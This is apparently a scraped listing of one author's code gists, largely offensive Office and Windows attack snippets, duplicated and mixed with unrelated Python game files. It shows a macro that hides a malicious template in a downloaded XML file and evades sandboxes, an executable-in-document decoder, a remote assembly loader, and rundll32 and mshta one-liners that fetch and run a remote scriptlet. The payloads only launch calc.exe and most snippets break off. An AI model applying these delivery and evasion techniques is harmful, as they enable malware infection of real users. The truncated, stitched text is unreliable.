Arno0x

## mergeVBAPayload.vba
' Sometimes, after generating a metasploit payload with vba output format, you get a payload which is too long
' for the vba line continuation limit (24 line continuation max)
' So you have to split the payload in two arrays, then merge them again.
'
' This snippet shows the simple trick

Dim PayloadPart1, PayloadPart2, Final As Variant

PayloadPart1 =  Array ( whatever metasploit first part payload with line _
  continuation _

## formatConverter.py
#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
import argparse

#======================================================================================================
#											HELPERS FUNCTIONS
#======================================================================================================

## macro_evade_av_01.vba
' Author Arno0x0x - https://twitter.com/Arno0x0x
'
' This macro downloads an XML bibliography source file.
' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
' which itself contains another malicious macro much more detectable (meterpreter for instance).
'
' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
'
' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers

## officeEmbeddedFileDecode.vba
' This is a deobfuscated view of the 'vba-exe' output format of metasploit payload
'
' This macro searches for a marker paragraph, namely "marker" in the example below
' and then loads all paragraphs coming next, as a sequence of bytes, then saves it to
' a local file.
'
' Example, in the word document:
' marker
' &H4d&H5a&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00 ....

## loadAssembly_method1.ps1
$Source = @"
using System;
using System.Net;
using System.Reflection;
namespace LoadAssembly {
public static class LoadAssembly {
public static void load() {
WebClient webclient = new WebClient();
IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
if (defaultProxy != null) {

## scriptlet.sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[

	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

## calc.hta
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
        var c = "cmd.exe /c calc.exe";
        new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>

## TestAssembly.cs
/*

================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

*/

using System.Windows.Forms;

namespace TestNamespace

## life.py
#!/usr/bin/python
# -*- coding: utf8 -*-
import sys
import random
import time
import re
import argparse
import os

# Import external modules

## pendu.py
#!/usr/bin/python
# -*- coding: utf8 -*-
from sys import stdout
import json
import os

# Import external modules
try:
    import requests
except ModuleNotFoundError as e:
	' Sometimes, after generating a metasploit payload with vba output format, you get a payload which is too long
	' for the vba line continuation limit (24 line continuation max)
	' So you have to split the payload in two arrays, then merge them again.
	'
	' This snippet shows the simple trick

	Dim PayloadPart1, PayloadPart2, Final As Variant

	PayloadPart1 = Array ( whatever metasploit first part payload with line _
	continuation _
	#!/usr/bin/python
	# -- coding: utf8 --
	#
	# Author: Arno0x0x, Twitter: @Arno0x0x
	#
	import argparse

	#======================================================================================================
	# HELPERS FUNCTIONS
	#======================================================================================================
	' Author Arno0x0x - https://twitter.com/Arno0x0x
	'
	' This macro downloads an XML bibliography source file.
	' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
	' which itself contains another malicious macro much more detectable (meterpreter for instance).
	'
	' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
	' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
	'
	' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers
	' This is a deobfuscated view of the 'vba-exe' output format of metasploit payload
	'
	' This macro searches for a marker paragraph, namely "marker" in the example below
	' and then loads all paragraphs coming next, as a sequence of bytes, then saves it to
	' a local file.
	'
	' Example, in the word document:
	' marker
	' &H4d&H5a&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00 ....
	$Source = @"
	using System;
	using System.Net;
	using System.Reflection;
	namespace LoadAssembly {
	public static class LoadAssembly {
	public static void load() {
	WebClient webclient = new WebClient();
	IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
	if (defaultProxy != null) {
	<?XML version="1.0"?>
	<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
	<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
	<scriptlet>
	<public>
	</public>
	<script language="JScript">
	<![CDATA[

	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	<html>
	<head>
	<HTA:APPLICATION ID="HelloExample">
	<script language="jscript">
	var c = "cmd.exe /c calc.exe";
	new ActiveXObject('WScript.Shell').Run(c);
	</script>
	</head>
	<body>
	<script>self.close();</script>
	/*

	================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

	*/

	using System.Windows.Forms;

	namespace TestNamespace
	#!/usr/bin/python
	# -- coding: utf8 --
	import sys
	import random
	import time
	import re
	import argparse
	import os

	# Import external modules
	#!/usr/bin/python
	# -- coding: utf8 --
	from sys import stdout
	import json
	import os

	# Import external modules
	try:
	import requests
	except ModuleNotFoundError as e: